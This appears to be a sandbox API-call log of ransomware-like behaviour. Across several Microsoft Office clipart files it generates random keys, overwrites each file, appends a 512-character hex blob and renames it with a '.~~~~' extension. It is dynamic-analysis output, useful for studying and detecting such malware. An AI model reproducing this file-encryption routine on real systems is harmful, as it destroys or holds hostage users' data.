	[0105.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28be5e0
	[0105.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28be5e0 | out: hHeap=0x300000) returned 1
	[0105.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898030
	[0105.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bc48
	[0105.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.635] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.637] GetLastError () returned 0x0
	[0105.639] GetLastError () returned 0x0
	[0105.639] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.639] GetLastError () returned 0x0
	[0105.641] GetLastError () returned 0x0
	[0105.660] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffeb9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.660] WriteFile (in: hFile=0x138, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1464, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x25dfec0*=0x1464, lpOverlapped=0x0) returned 1
	[0105.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.662] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.662] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.662] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.662] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.663] CloseHandle (hObject=0x138) returned 1
	[0105.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898030
	[0105.663] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.~~~~")) returned 1
	[0105.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.665] GetLastError () returned 0x0
	[0105.665] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.666] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.666] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.667] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22565692323) returned 1
	[0105.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8a723b0, dwHighDateTime=0x1d60e1e)) 
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d0c0
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d0c0 | out: hHeap=0x300000) returned 1
	[0105.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898030
	[0105.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bea8
	[0105.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.668] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.668] GetLastError () returned 0x0
	[0105.668] GetLastError () returned 0x0
	[0105.669] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.669] GetLastError () returned 0x0
	[0105.669] GetLastError () returned 0x0
	[0105.673] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff7bdc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.675] WriteFile (in: hFile=0x138, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x8424, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x25dfec0*=0x8424, lpOverlapped=0x0) returned 1
	[0105.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.683] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.683] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.683] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.686] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.686] CloseHandle (hObject=0x138) returned 1
	[0105.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898030
	[0105.687] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.~~~~")) returned 1
	[0105.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898030 | out: hHeap=0x300000) returned 1
	[0105.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.691] GetLastError () returned 0x0
	[0105.693] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.694] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.694] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.694] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22568455755) returned 1
	[0105.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8abe670, dwHighDateTime=0x1d60e1e)) 
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d0f8
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d0f8 | out: hHeap=0x300000) returned 1
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28980d8
	[0105.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bf40
	[0105.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28980d8 | out: hHeap=0x300000) returned 1
	[0105.695] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.695] GetLastError () returned 0x0
	[0105.696] GetLastError () returned 0x0
	[0105.696] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.696] GetLastError () returned 0x0
	[0105.696] GetLastError () returned 0x0
	[0105.927] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffecec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.927] WriteFile (in: hFile=0x138, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1314, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x25dfec0*=0x1314, lpOverlapped=0x0) returned 1
	[0105.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.937] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.937] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.938] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.938] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.938] CloseHandle (hObject=0x138) returned 1
	[0105.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0105.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.~~~~")) returned 1
	[0105.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.939] GetLastError () returned 0x0
	[0106.222] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.223] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.224] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.224] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22621392921) returned 1
	[0106.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8fcd530, dwHighDateTime=0x1d60e1e)) 
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d590
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d590 | out: hHeap=0x300000) returned 1
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872398
	[0106.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.225] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.225] GetLastError () returned 0x0
	[0106.225] GetLastError () returned 0x0
	[0106.225] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.225] GetLastError () returned 0x0
	[0106.225] GetLastError () returned 0x0
	[0106.259] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe208, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.259] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1df8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x25dfec0*=0x1df8, lpOverlapped=0x0) returned 1
	[0106.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0106.260] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.260] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.260] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.260] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.260] CloseHandle (hObject=0x11c) returned 1
	[0106.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.~~~~")) returned 1
	[0106.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.262] GetLastError () returned 0x0
	[0106.262] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.263] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0106.263] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0106.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.263] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22625352980) returned 1
	[0106.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa903f950, dwHighDateTime=0x1d60e1e)) 
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d6a8
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d6a8 | out: hHeap=0x300000) returned 1
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28724c8
	[0106.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.264] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.264] GetLastError () returned 0x0
	[0106.265] GetLastError () returned 0x0
	[0106.265] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.265] GetLastError () returned 0x0
	[0106.265] GetLastError () returned 0x0
	[0106.300] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff096, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.300] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xf6a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xf6a, lpOverlapped=0x0) returned 1
	[0106.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.302] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.302] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.302] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.302] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.302] CloseHandle (hObject=0x11c) returned 1
	[0106.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.~~~~")) returned 1
	[0106.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.304] GetLastError () returned 0x0
	[0106.304] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.306] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.306] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.306] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22629657586) returned 1
